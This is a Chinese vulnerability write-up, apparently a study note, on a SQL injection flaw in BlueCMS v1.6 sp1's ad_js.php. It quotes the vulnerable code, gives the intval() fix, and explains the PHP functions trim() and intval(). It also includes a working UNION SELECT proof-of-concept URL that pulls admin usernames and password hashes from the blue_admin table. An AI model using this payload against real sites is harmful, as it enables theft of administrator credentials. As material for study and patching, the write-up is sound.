漏洞信息
下面的漏洞信息表格引用自https://wooyun.shuimugan.com/.
类型 | 内容 |
---|---|
编号 | 141 |
漏洞标题 | BlueCMS v1.6 sp1 ad_js.php SQL注入漏洞 |
漏洞类型 | [SQL注射漏洞] |
厂商 | [BlueCMS] |
白帽子 | CnCxzSec(衰仔) |
提交日期 | 2010-07-30 19:49:00 |
公开日期 | 2010-07-30 21:52:00 |
Confirm Spend | -1 |
漏洞标签 | php+数字类型注射 注射技巧 BlueCMS |
漏洞简介 | BlueCMS v1.6 sp1 某页面SQL注入漏洞 |
漏洞成因
缺陷文件:ad_js.php
第12行: $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
根目录下其他他文件都做了很好的过滤,对数字型变量几乎都用了intval()做限制,唯独漏了这个文件,居然只是用了trim()去除头尾空格。
第19行: $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
//直接代入查询。。汗。 |
验证漏洞
单引号判断法
BlueCMS v1.6 sp1 ad_js.php SQL注入漏
验证POC
POC : view-source:http://localhost/cms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1
访问POC链接
漏洞修复
trim()函数修改为intval()函数,如下:
$ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';
重新访问POC测试效果
笔记:
1.trim( )
函数:移除字符串两侧的空白字符或其他预定义字符
语法
trim(string,charlist)
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
charlist | 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符 |
- "\0" - NULL
- "\t" - 制表符
- "\n" - 换行
- "\x0B" - 垂直制表符
- "\r" - 回车
- " " - 空格
-
intval()
函数:获取变量的整数值
语法
intval ( mixed $var [, int $base = 10 ] )
通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
参数 | 描述 |
---|---|
var | 要转换成 integer 的数量值 |
base | 转化所使用的进制。 |
Note:
如果
base
是 0,通过检测var
的格式来决定使用的进制:
- 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。